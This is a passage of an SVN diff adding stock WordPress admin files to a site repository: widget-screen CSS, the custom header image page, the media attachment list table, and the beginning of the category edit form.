+	-moz-border-radius-topleft: 8px;
+	-moz-border-radius-topright: 8px;
+	-webkit-border-top-right-radius: 8px;
+	-webkit-border-top-left-radius: 8px;
+	-khtml-border-top-right-radius: 8px;
+	-khtml-border-top-left-radius: 8px;
+	border-top-right-radius: 8px;
+	border-top-left-radius: 8px;
+}
+
+.js .closed .sidebar-name {
+	-moz-border-radius-bottomleft: 8px;
+	-moz-border-radius-bottomright: 8px;
+	-webkit-border-bottom-right-radius: 8px;
+	-webkit-border-bottom-left-radius: 8px;
+	-khtml-border-bottom-right-radius: 8px;
+	-khtml-border-bottom-left-radius: 8px;
+	border-bottom-right-radius: 8px;
+	border-bottom-left-radius: 8px;
+}
+
+.widget-liquid-right .widgets-sortables,
+#widgets-left .widget-holder {
+	border-width: 0 1px 1px;
+	border-style: none solid solid;
+    -moz-border-radius-bottomleft: 8px;
+	-moz-border-radius-bottomright: 8px;
+	-webkit-border-bottom-right-radius: 8px;
+	-webkit-border-bottom-left-radius: 8px;
+	-khtml-border-bottom-right-radius: 8px;
+	-khtml-border-bottom-left-radius: 8px;
+	border-bottom-right-radius: 8px;
+	border-bottom-left-radius: 8px;
+}
+
+.js .closed .widgets-sortables,
+.js .closed .widget-holder {
+	display: none;
+}
+
+.widget-liquid-right .widgets-sortables {
+	padding: 15px 0 0;
+}
+
+#available-widgets .widget-holder {
+	padding: 7px 5px 0;
+}
+
+#wp_inactive_widgets {
+	padding: 5px 5px 0;
+}
+
+#widget-list .widget {
+	width: 250px;
+	margin: 0 10px 15px;
+	border: 0 none;
+	float: left;
+}
+
+#widget-list .widget-description {
+	padding: 5px 8px;
+}
+
+#widget-list .widget-top {
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+.widget-placeholder {
+	border-width: 1px;
+	border-style: dashed;
+	margin: 0 auto 20px;
+	height: 26px;
+	width: 250px;
+}
+
+#wp_inactive_widgets .widget-placeholder {
+	margin: 0 10px 20px;
+	float: left;
+}
+
+div.widgets-holder-wrap {
+	padding: 0;
+	margin: 10px 0 20px;
+}
+
+#widgets-left #available-widgets {
+    background-color: transparent;
+    border: 0 none;
+}
+
+ul#widget-list {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+	min-height: 100px;
+}
+
+.widget .widget-top {
+	font-size: 12px;
+	font-weight: bold;
+	height: 26px;
+	overflow: hidden;
+}
+
+.widget-top .widget-title {
+	padding: 5px 9px;
+}
+
+.widget-top .widget-title-action {
+	float: right;
+}
+
+a.widget-action {
+    display: block;
+    width: 24px;
+    height: 26px;
+}
+
+#available-widgets a.widget-action {
+	display: none;
+}
+
+.widget-top a.widget-action {
+    background: url("../images/menu-bits.gif") no-repeat scroll 0 -110px;
+}
+
+.widget .widget-inside,
+.widget .widget-description {
+	padding: 12px 12px 10px;
+	font-size: 11px;
+	line-height: 16px;
+}
+
+.widget-inside,
+.widget-description {
+	display: none;
+}
+
+#available-widgets .widget-description {
+	display: block;
+}
+
+.widget .widget-inside p {
+	margin: 0 0 1em;
+	padding: 0;
+}
+
+.widget-title h4 {
+	margin: 0;
+	line-height: 1.3;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+.widgets-sortables {
+    min-height: 90px;
+}
+
+.widget-control-actions {
+    margin-top: 8px;
+}
+
+.widget-control-actions a {
+	text-decoration: none;
+}
+
+.widget-control-actions a:hover {
+	text-decoration: underline;
+}
+
+.widget-control-actions .ajax-feedback {
+	padding-bottom: 3px;
+}
+
+.widget-control-actions div.alignleft {
+	margin-top: 6px;
+}
+
+div#sidebar-info {
+	padding: 0 1em;
+	margin-bottom: 1em;
+	font-size: 11px;
+}
+
+.widget-title a,
+.widget-title a:hover {
+	text-decoration: none;
+	border-bottom: none;
+}
+
+.widget-control-edit {
+	display: block;
+	font-size: 11px;
+	font-weight: normal;
+	line-height: 26px;
+	padding: 0 8px 0 0;
+}
+
+a.widget-control-edit {
+	text-decoration: none;
+}
+
+.widget-control-edit .add,
+.widget-control-edit .edit {
+	display: none;
+}
+
+#available-widgets .widget-control-edit .add,
+#widgets-right .widget-control-edit .edit,
+#wp_inactive_widgets .widget-control-edit .edit {
+	display: inline;
+}
+
+.editwidget {
+	margin: 0 auto 15px;
+}
+
+.editwidget .widget-inside {
+	display: block;
+	border-width: 1px;
+	border-style: solid;
+	padding: 10px;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+.inactive p.description {
+	margin: 5px 15px 8px;
+}
+
+#available-widgets p.description {
+	margin: 0 12px 12px;
+}
+
+.widget-position {
+	margin-top: 8px;
+}
+
+.inactive {
+	padding-top: 2px;
+}
+
+.sidebar-name-arrow {
+	float: right;
+	height: 29px;
+	width: 26px;
+}
+
+.widget-title .in-widget-title {
+	font-size: 11px;
+	white-space: nowrap;
+}
+
+#removing-widget {
+	display: none;
+	font-weight: normal;
+	padding-left: 15px;
+	font-size: 12px;
+}
+
+.widget-control-noform,
+#access-off,
+.widgets_access .widget-action,
+.widgets_access .sidebar-name-arrow,
+.widgets_access #access-on,
+.widgets_access .widget-holder .description {
+	display: none;
+}
+
+.widgets_access .widget-holder,
+.widgets_access #widget-list {
+	padding-top: 10px;
+}
+
+.widgets_access #access-off {
+	display: inline;
+}
+
+.widgets_access #wpbody-content .widget-title-action,
+.widgets_access #wpbody-content .widget-control-edit,
+.widgets_access .closed .widgets-sortables,
+.widgets_access .closed .widget-holder {
+	display: block;
+}
+
+.widgets_access .closed .sidebar-name {
+	-moz-border-radius-bottomleft: 0;
+	-moz-border-radius-bottomright: 0;
+	-webkit-border-bottom-right-radius: 0;
+	-webkit-border-bottom-left-radius: 0;
+	-khtml-border-bottom-right-radius: 0;
+	-khtml-border-bottom-left-radius: 0;
+	border-bottom-right-radius: 0;
+	border-bottom-left-radius: 0;
+}
+
+.widgets_access .sidebar-name,
+.widgets_access .widget .widget-top {
+	cursor: default;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-admin/custom-header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/custom-header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/custom-header.php	(revision 44)
@@ -0,0 +1,478 @@
+<?php
+/**
+ * The custom header image script.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The custom header image class.
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Administration
+ */
+class Custom_Image_Header {
+
+	/**
+	 * Callback for administration header.
+	 *
+	 * @var callback
+	 * @since unknown
+	 * @access private
+	 */
+	var $admin_header_callback;
+
+	/**
+	 * PHP4 Constructor - Register administration header callback.
+	 *
+	 * @since unknown
+	 * @param callback $admin_header_callback
+	 * @return Custom_Image_Header
+	 */
+	function Custom_Image_Header($admin_header_callback) {
+		$this->admin_header_callback = $admin_header_callback;
+	}
+
+	/**
+	 * Setup the hooks for the Custom Header admin page.
+	 *
+	 * @since unknown
+	 */
+	function init() {
+		$page = add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', 'custom-header', array(&$this, 'admin_page'));
+
+		add_action("admin_print_scripts-$page", array(&$this, 'js_includes'));
+		add_action("admin_print_styles-$page", array(&$this, 'css_includes'));
+		add_action("admin_head-$page", array(&$this, 'take_action'), 50);
+		add_action("admin_head-$page", array(&$this, 'js'), 50);
+		add_action("admin_head-$page", $this->admin_header_callback, 51);
+	}
+
+	/**
+	 * Get the current step.
+	 *
+	 * @since unknown
+	 *
+	 * @return int Current step
+	 */
+	function step() {
+		if ( ! isset( $_GET['step'] ) )
+			return 1;
+
+		$step = (int) $_GET['step'];
+		if ( $step < 1 || 3 < $step )
+			$step = 1;
+
+		return $step;
+	}
+
+	/**
+	 * Setup the enqueue for the JavaScript files.
+	 *
+	 * @since unknown
+	 */
+	function js_includes() {
+		$step = $this->step();
+
+		if ( 1 == $step )
+			wp_enqueue_script('farbtastic');
+		elseif ( 2 == $step )
+			wp_enqueue_script('jcrop');
+	}
+
+	/**
+	 * Setup the enqueue for the CSS files
+	 *
+	 * @since 2.7
+	 */
+	function css_includes() {
+		$step = $this->step();
+
+		if ( 1 == $step )
+			wp_enqueue_style('farbtastic');
+		elseif ( 2 == $step )
+			wp_enqueue_style('jcrop');
+	}
+
+	/**
+	 * Execute custom header modification.
+	 *
+	 * @since unknown
+	 */
+	function take_action() {
+		if ( isset( $_POST['textcolor'] ) ) {
+			check_admin_referer('custom-header');
+			if ( 'blank' == $_POST['textcolor'] ) {
+				set_theme_mod('header_textcolor', 'blank');
+			} else {
+				$color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['textcolor']);
+				if ( strlen($color) == 6 || strlen($color) == 3 )
+					set_theme_mod('header_textcolor', $color);
+			}
+		}
+		if ( isset($_POST['resetheader']) ) {
+			check_admin_referer('custom-header');
+			remove_theme_mods();
+		}
+	}
+
+	/**
+	 * Execute Javascript depending on step.
+	 *
+	 * @since unknown
+	 */
+	function js() {
+		$step = $this->step();
+		if ( 1 == $step )
+			$this->js_1();
+		elseif ( 2 == $step )
+			$this->js_2();
+	}
+
+	/**
+	 * Display Javascript based on Step 1.
+	 *
+	 * @since unknown
+	 */
+	function js_1() { ?>
+<script type="text/javascript">
+	var buttons = ['#name', '#desc', '#pickcolor', '#defaultcolor'];
+	var farbtastic;
+
+	function pickColor(color) {
+		jQuery('#name').css('color', color);
+		jQuery('#desc').css('color', color);
+		jQuery('#textcolor').val(color);
+		farbtastic.setColor(color);
+	}
+
+	jQuery(document).ready(function() {
+		jQuery('#pickcolor').click(function() {
+			jQuery('#colorPickerDiv').show();
+		});
+
+		jQuery('#hidetext').click(function() {
+			toggle_text();
+		});
+
+		farbtastic = jQuery.farbtastic('#colorPickerDiv', function(color) { pickColor(color); });
+		pickColor('#<?php echo get_theme_mod('header_textcolor', HEADER_TEXTCOLOR); ?>');
+
+		<?php if ( 'blank' == get_theme_mod('header_textcolor', HEADER_TEXTCOLOR) ) { ?>
+		toggle_text();
+		<?php } ?>
+	});
+
+	jQuery(document).mousedown(function(){
+		// Make the picker disappear, since we're using it in an independant div
+		hide_picker();
+	});
+
+	function colorDefault() {
+		pickColor('#<?php echo HEADER_TEXTCOLOR; ?>');
+	}
+
+	function hide_picker(what) {
+		var update = false;
+		jQuery('#colorPickerDiv').each(function(){
+			var id = jQuery(this).attr('id');
+			if (id == what) {
+				return;
+			}
+			var display = jQuery(this).css('display');
+			if (display == 'block') {
+				jQuery(this).fadeOut(2);
+			}
+		});
+	}
+
+	function toggle_text(force) {
+		if(jQuery('#textcolor').val() == 'blank') {
+			//Show text
+			jQuery( buttons.toString() ).show();
+			jQuery('#textcolor').val('<?php echo HEADER_TEXTCOLOR; ?>');
+			jQuery('#hidetext').val('<?php _e('Hide Text'); ?>');
+		}
+		else {
+			//Hide text
+			jQuery( buttons.toString() ).hide();
+			jQuery('#textcolor').val('blank');
+			jQuery('#hidetext').val('<?php _e('Show Text'); ?>');
+		}
+	}
+
+
+
+</script>
+<?php
+	}
+
+	/**
+	 * Display Javascript based on Step 2.
+	 *
+	 * @since unknown
+	 */
+	function js_2() { ?>
+<script type="text/javascript">
+	function onEndCrop( coords ) {
+		jQuery( '#x1' ).val(coords.x);
+		jQuery( '#y1' ).val(coords.y);
+		jQuery( '#x2' ).val(coords.x2);
+		jQuery( '#y2' ).val(coords.y2);
+		jQuery( '#width' ).val(coords.w);
+		jQuery( '#height' ).val(coords.h);
+	}
+
+	// with a supplied ratio
+	jQuery(document).ready(function() {
+		var xinit = <?php echo HEADER_IMAGE_WIDTH; ?>;
+		var yinit = <?php echo HEADER_IMAGE_HEIGHT; ?>;
+		var ratio = xinit / yinit;
+		var ximg = jQuery('#upload').width();
+		var yimg = jQuery('#upload').height();
+
+		//set up default values
+		jQuery( '#x1' ).val(0);
+		jQuery( '#y1' ).val(0);
+		jQuery( '#x2' ).val(xinit);
+		jQuery( '#y2' ).val(yinit);
+		jQuery( '#width' ).val(xinit);
+		jQuery( '#height' ).val(yinit);
+
+		if ( yimg < yinit || ximg < xinit ) {
+			if ( ximg / yimg > ratio ) {
+				yinit = yimg;
+				xinit = yinit * ratio;
+			} else {
+				xinit = ximg;
+				yinit = xinit / ratio;
+			}
+		}
+
+		jQuery('#upload').Jcrop({
+			aspectRatio: ratio,
+			setSelect: [ 0, 0, xinit, yinit ],
+			onSelect: onEndCrop
+		});
+	});
+</script>
+<?php
+	}
+
+	/**
+	 * Display first step of custom header image page.
+	 *
+	 * @since unknown
+	 */
+	function step_1() {
+		if ( $_GET['updated'] ) { ?>
+<div id="message" class="updated fade">
+<p><?php _e('Header updated.') ?></p>
+</div>
+		<?php } ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Your Header Image'); ?></h2>
+<p><?php _e('This is your header image. You can change the text color or upload and crop a new image.'); ?></p>
+
+<div id="headimg" style="background-image: url(<?php esc_url(header_image()) ?>);">
+<h1><a onclick="return false;" href="<?php bloginfo('url'); ?>" title="<?php bloginfo('name'); ?>" id="name"><?php bloginfo('name'); ?></a></h1>
+<div id="desc"><?php bloginfo('description');?></div>
+</div>
+<?php if ( !defined( 'NO_HEADER_TEXT' ) ) { ?>
+<form method="post" action="<?php echo admin_url('themes.php?page=custom-header&amp;updated=true') ?>">
+<input type="button" class="button" value="<?php esc_attr_e('Hide Text'); ?>" onclick="hide_text()" id="hidetext" />
+<input type="button" class="button" value="<?php esc_attr_e('Select a Text Color'); ?>" id="pickcolor" /><input type="button" class="button" value="<?php esc_attr_e('Use Original Color'); ?>" onclick="colorDefault()" id="defaultcolor" />
+<?php wp_nonce_field('custom-header') ?>
+<input type="hidden" name="textcolor" id="textcolor" value="#<?php esc_attr(header_textcolor()) ?>" /><input name="submit" type="submit" class="button" value="<?php esc_attr_e('Save Changes'); ?>" /></form>
+<?php } ?>
+
+<div id="colorPickerDiv" style="z-index: 100;background:#eee;border:1px solid #ccc;position:absolute;display:none;"> </div>
+</div>
+<div class="wrap">
+<h2><?php _e('Upload New Header Image'); ?></h2><p><?php _e('Here you can upload a custom header image to be shown at the top of your blog instead of the default one. On the next screen you will be able to crop the image.'); ?></p>
+<p><?php printf(__('Images of exactly <strong>%1$d x %2$d pixels</strong> will be used as-is.'), HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT); ?></p>
+
+<form enctype="multipart/form-data" id="uploadForm" method="POST" action="<?php echo esc_attr(add_query_arg('step', 2)) ?>" style="margin: auto; width: 50%;">
+<label for="upload"><?php _e('Choose an image from your computer:'); ?></label><br /><input type="file" id="upload" name="import" />
+<input type="hidden" name="action" value="save" />
+<?php wp_nonce_field('custom-header') ?>
+<p class="submit">
+<input type="submit" value="<?php esc_attr_e('Upload'); ?>" />
+</p>
+</form>
+
+</div>
+
+		<?php if ( get_theme_mod('header_image') || get_theme_mod('header_textcolor') ) : ?>
+<div class="wrap">
+<h2><?php _e('Reset Header Image and Color'); ?></h2>
+<p><?php _e('This will restore the original header image and color. You will not be able to retrieve any customizations.') ?></p>
+<form method="post" action="<?php echo esc_attr(add_query_arg('step', 1)) ?>">
+<?php wp_nonce_field('custom-header'); ?>
+<input type="submit" class="button" name="resetheader" value="<?php esc_attr_e('Restore Original Header'); ?>" />
+</form>
+</div>
+		<?php endif;
+
+	}
+
+	/**
+	 * Display second step of custom header image page.
+	 *
+	 * @since unknown
+	 */
+	function step_2() {
+		check_admin_referer('custom-header');
+		$overrides = array('test_form' => false);
+		$file = wp_handle_upload($_FILES['import'], $overrides);
+
+		if ( isset($file['error']) )
+		die( $file['error'] );
+
+		$url = $file['url'];
+		$type = $file['type'];
+		$file = $file['file'];
+		$filename = basename($file);
+
+		// Construct the object array
+		$object = array(
+		'post_title' => $filename,
+		'post_content' => $url,
+		'post_mime_type' => $type,
+		'guid' => $url);
+
+		// Save the data
+		$id = wp_insert_attachment($object, $file);
+
+		list($width, $height, $type, $attr) = getimagesize( $file );
+
+		if ( $width == HEADER_IMAGE_WIDTH && $height == HEADER_IMAGE_HEIGHT ) {
+			// Add the meta-data
+			wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+
+			set_theme_mod('header_image', esc_url($url));
+			do_action('wp_create_file_in_uploads', $file, $id); // For replication
+			return $this->finished();
+		} elseif ( $width > HEADER_IMAGE_WIDTH ) {
+			$oitar = $width / HEADER_IMAGE_WIDTH;
+			$image = wp_crop_image($file, 0, 0, $width, $height, HEADER_IMAGE_WIDTH, $height / $oitar, false, str_replace(basename($file), 'midsize-'.basename($file), $file));
+			$image = apply_filters('wp_create_file_in_uploads', $image, $id); // For replication
+
+			$url = str_replace(basename($url), basename($image), $url);
+			$width = $width / $oitar;
+			$height = $height / $oitar;
+		} else {
+			$oitar = 1;
+		}
+		?>
+
+<div class="wrap">
+
+<form method="POST" action="<?php echo esc_attr(add_query_arg('step', 3)) ?>">
+
+<p><?php _e('Choose the part of the image you want to use as your header.'); ?></p>
+<div id="testWrap" style="position: relative">
+<img src="<?php echo $url; ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" />
+</div>
+
+<p class="submit">
+<input type="hidden" name="x1" id="x1" />
+<input type="hidden" name="y1" id="y1" />
+<input type="hidden" name="x2" id="x2" />
+<input type="hidden" name="y2" id="y2" />
+<input type="hidden" name="width" id="width" />
+<input type="hidden" name="height" id="height" />
+<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr($id); ?>" />
+<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr($oitar); ?>" />
+<?php wp_nonce_field('custom-header') ?>
+<input type="submit" value="<?php esc_attr_e('Crop Header'); ?>" />
+</p>
+
+</form>
+</div>
+		<?php
+	}
+
+	/**
+	 * Display third step of custom header image page.
+	 *
+	 * @since unknown
+	 */
+	function step_3() {
+		check_admin_referer('custom-header');
+		if ( $_POST['oitar'] > 1 ) {
+			$_POST['x1'] = $_POST['x1'] * $_POST['oitar'];
+			$_POST['y1'] = $_POST['y1'] * $_POST['oitar'];
+			$_POST['width'] = $_POST['width'] * $_POST['oitar'];
+			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
+		}
+
+		$original = get_attached_file( $_POST['attachment_id'] );
+
+		$cropped = wp_crop_image($_POST['attachment_id'], $_POST['x1'], $_POST['y1'], $_POST['width'], $_POST['height'], HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT);
+		$cropped = apply_filters('wp_create_file_in_uploads', $cropped, $_POST['attachment_id']); // For replication
+
+		$parent = get_post($_POST['attachment_id']);
+		$parent_url = $parent->guid;
+		$url = str_replace(basename($parent_url), basename($cropped), $parent_url);
+
+		// Construct the object array
+		$object = array(
+			'ID' => $_POST['attachment_id'],
+			'post_title' => basename($cropped),
+			'post_content' => $url,
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $url
+		);
+
+		// Update the attachment
+		wp_insert_attachment($object, $cropped);
+		wp_update_attachment_metadata( $_POST['attachment_id'], wp_generate_attachment_metadata( $_POST['attachment_id'], $cropped ) );
+
+		set_theme_mod('header_image', $url);
+
+		// cleanup
+		$medium = str_replace(basename($original), 'midsize-'.basename($original), $original);
+		@unlink( apply_filters( 'wp_delete_file', $medium ) );
+		@unlink( apply_filters( 'wp_delete_file', $original ) );
+
+		return $this->finished();
+	}
+
+	/**
+	 * Display last step of custom header image page.
+	 *
+	 * @since unknown
+	 */
+	function finished() {
+		?>
+<div class="wrap">
+<h2><?php _e('Header complete!'); ?></h2>
+
+<p><?php _e('Visit your site and you should see the new header now.'); ?></p>
+
+</div>
+		<?php
+	}
+
+	/**
+	 * Display the page based on the current step.
+	 *
+	 * @since unknown
+	 */
+	function admin_page() {
+		$step = $this->step();
+		if ( 1 == $step )
+			$this->step_1();
+		elseif ( 2 == $step )
+			$this->step_2();
+		elseif ( 3 == $step )
+			$this->step_3();
+	}
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-attachment-rows.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-attachment-rows.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-attachment-rows.php	(revision 44)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * Edit attachments table for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('ABSPATH') ) die();
+
+if ( have_posts() ) { ?>
+<table class="widefat fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('upload'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('upload', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-list" class="list:post">
+<?php
+add_filter('the_title','esc_html');
+$alt = '';
+$posts_columns = get_column_headers('upload');
+$hidden = get_hidden_columns('upload');
+while (have_posts()) : the_post();
+$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
+global $current_user;
+$post_owner = ( $current_user->ID == $post->post_author ? 'self' : 'other' );
+$att_title = _draft_or_post_title();
+
+?>
+	<tr id='post-<?php echo $id; ?>' class='<?php echo trim( $alt . ' author-' . $post_owner . ' status-' . $post->post_status ); ?>' valign="top">
+
+<?php
+foreach ($posts_columns as $column_name => $column_display_name ) {
+	$class = "class=\"$column_name column-$column_name\"";
+
+	$style = '';
+	if ( in_array($column_name, $hidden) )
+		$style = ' style="display:none;"';
+
+	$attributes = "$class$style";
+
+	switch($column_name) {
+
+	case 'cb':
+		?>
+		<th scope="row" class="check-column"><input type="checkbox" name="media[]" value="<?php the_ID(); ?>" /></th>
+		<?php
+		break;
+
+	case 'icon':
+		$attributes = 'class="column-icon media-icon"' . $style;
+		?>
+		<td <?php echo $attributes ?>><?php
+			if ( $thumb = wp_get_attachment_image( $post->ID, array(80, 60), true ) ) {
+?>
+
+				<a href="media.php?action=edit&amp;attachment_id=<?php the_ID(); ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $att_title)); ?>">
+					<?php echo $thumb; ?>
+				</a>
+
+<?php			}
+		?></td>
+		<?php
+		// TODO
+		break;
+
+	case 'media':
+		?>
+		<td <?php echo $attributes ?>><strong><a href="<?php echo get_edit_post_link( $post->ID ); ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $att_title)); ?>"><?php echo $att_title; ?></a></strong><br />
+		<?php echo strtoupper(preg_replace('/^.*?\.(\w+)$/', '$1', get_attached_file($post->ID))); ?>
+		<p>
+		<?php
+		$actions = array();
+		if ( current_user_can('edit_post', $post->ID) )
+			$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '">' . __('Edit') . '</a>';
+		if ( current_user_can('delete_post', $post->ID) )
+			$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this attachment '%s'\n  'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this attachment '%s'\n  'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
+		$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
+		$action_count = count($actions);
+		$i = 0;
+		echo '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			echo "<span class='$action'>$link$sep</span>";
+		}
+		echo '</div>';
+		?></p></td>
+		<?php
+		break;
+
+	case 'author':
+		?>
+		<td <?php echo $attributes ?>><?php the_author() ?></td>
+		<?php
+		break;
+
+	case 'tags':
+		?>
+		<td <?php echo $attributes ?>><?php
+		$tags = get_the_tags();
+		if ( !empty( $tags ) ) {
+			$out = array();
+			foreach ( $tags as $c )
+				$out[] = "<a href='edit.php?tag=$c->slug'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>";
+			echo join( ', ', $out );
+		} else {
+			_e('No Tags');
+		}
+		?></td>
+		<?php
+		break;
+
+	case 'desc':
+		?>
+		<td <?php echo $attributes ?>><?php echo has_excerpt() ? $post->post_excerpt : ''; ?></td>
+		<?php
+		break;
+
+	case 'date':
+		if ( '0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name ) {
+			$t_time = $h_time = __('Unpublished');
+		} else {
+			$t_time = get_the_time(__('Y/m/d g:i:s A'));
+			$m_time = $post->post_date;
+			$time = get_post_time( 'G', true, $post, false );
+			if ( ( abs($t_diff = time() - $time) ) < 86400 ) {
+				if ( $t_diff < 0 )
+					$h_time = sprintf( __('%s from now'), human_time_diff( $time ) );
+				else
+					$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
+			} else {
+				$h_time = mysql2date(__('Y/m/d'), $m_time);
+			}
+		}
+		?>
+		<td <?php echo $attributes ?>><?php echo $h_time ?></td>
+		<?php
+		break;
+
+	case 'parent':
+		if ( $post->post_parent > 0 ) {
+			if ( get_post($post->post_parent) ) {
+				$title =_draft_or_post_title($post->post_parent);
+			}
+			?>
+			<td <?php echo $attributes ?>><strong><a href="<?php echo get_edit_post_link( $post->post_parent ); ?>"><?php echo $title ?></a></strong>, <?php echo get_the_time(__('Y/m/d')); ?></td>
+			<?php
+		} else {
+			?>
+			<td <?php echo $attributes ?>>&nbsp;</td>
+			<?php
+		}
+
+		break;
+
+	case 'comments':
+		$attributes = 'class="comments column-comments num"' . $style;
+		?>
+		<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
+		<?php
+		$left = get_pending_comments_num( $post->ID );
+		$pending_phrase = sprintf( __('%s pending'), number_format( $left ) );
+		if ( $left )
+			echo '<strong>';
+		comments_number("<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>');
+		if ( $left )
+			echo '</strong>';
+		?>
+		</div></td>
+		<?php
+		break;
+
+	case 'actions':
+		?>
+		<td <?php echo $attributes ?>>
+		<a href="media.php?action=edit&amp;attachment_id=<?php the_ID(); ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $att_title)); ?>"><?php _e('Edit'); ?></a> |
+		<a href="<?php the_permalink(); ?>"><?php _e('Get permalink'); ?></a>
+		</td>
+		<?php
+		break;
+
+	default:
+		?>
+		<td <?php echo $attributes ?>><?php do_action('manage_media_custom_column', $column_name, $id); ?></td>
+		<?php
+		break;
+	}
+}
+?>
+	</tr>
+<?php endwhile; ?>
+	</tbody>
+</table>
+<?php } else { ?>
+
+<p><?php _e('No media attachments found.') ?></p>
+
+<?php
+} // end if ( have_posts() )
+?>
+
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-category-form.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-category-form.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-category-form.php	(revision 44)
@@ -0,0 +1,77 @@
+<?php
+/**
+ * Edit category form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * @var object
+ */
+if ( ! isset( $category ) )
+	$category = (object) array();
+
+/**
+ * @ignore
+ * @since 2.7
+ * @internal Used to prevent errors in page when no category is being edited.
+ *
+ * @param object $category
+ */
+function _fill_empty_category(&$category) {
+	if ( ! isset( $category->name ) )
+		$category->name = '';
+
+	if ( ! isset( $category->slug ) )
+		$category->slug = '';
+
+	if ( ! isset( $category->parent ) )
+		$category->parent = '';
+
+	if ( ! isset( $category->description ) )
+		$category->description = '';
+}
+
+do_action('edit_category_form_pre', $category);
+
+_fill_empty_category($category);
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Edit Category'); ?></h2>
+<div id="ajax-response"></div>
+<form name="editcat" id="editcat" method="post" action="categories.php" class="validate">
+<input type="hidden" name="action" value="editedcat" />
+<input type="hidden" name="cat_ID" value="<?php echo esc_attr($category->term_id) ?>" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('update-category_' . $cat_ID); ?>
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row" valign="top"><label for="cat_name"><?php _e('Category Name') ?></label></th>
+			<td><input name="cat_name" id="cat_name" type="text" value="<?php echo esc_attr($category->name); ?>" size="40" aria-required="true" /><br />
+            <span class="description"><?php _e('The name is used to identify the category almost everywhere, for example under the post or in the category widget.'); ?></span></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="category_nicename"><?php _e('Category Slug') ?></label></th>
+			<td><input name="category_nicename" id="category_nicename" type="text" value="<?php echo esc_attr(apply_filters('editable_slug', $category->slug)); ?>" size="40" /><br />
+            <span class="description"><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></span></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="category_parent"><?php _e('Category Parent') ?></label></th>
+			<td>
+	  			<?php wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'category_parent', 'orderby' => 'name', 'selected' => $category->parent, 'hierarchical' => true, 'show_option_none' => __('None'))); ?><br />
